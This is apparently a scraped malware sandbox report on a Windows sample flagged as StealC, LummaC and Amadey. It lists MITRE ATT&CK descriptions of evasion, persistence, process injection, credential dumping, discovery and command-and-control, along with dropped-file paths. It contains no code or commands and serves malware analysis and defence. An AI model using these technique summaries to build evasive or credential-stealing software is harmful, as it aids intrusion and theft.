Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFCAFCFBAEHIDHJDBGCGCAEGC

C:\ProgramData\DHDBGHCB

C:\ProgramData\FBAFIIJKJEGIDGDGIIDH

C:\ProgramData\FBGIDHCAAKEBAKFIIIEB

C:\ProgramData\GCGCFCBAKKFBFIECAEBA

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre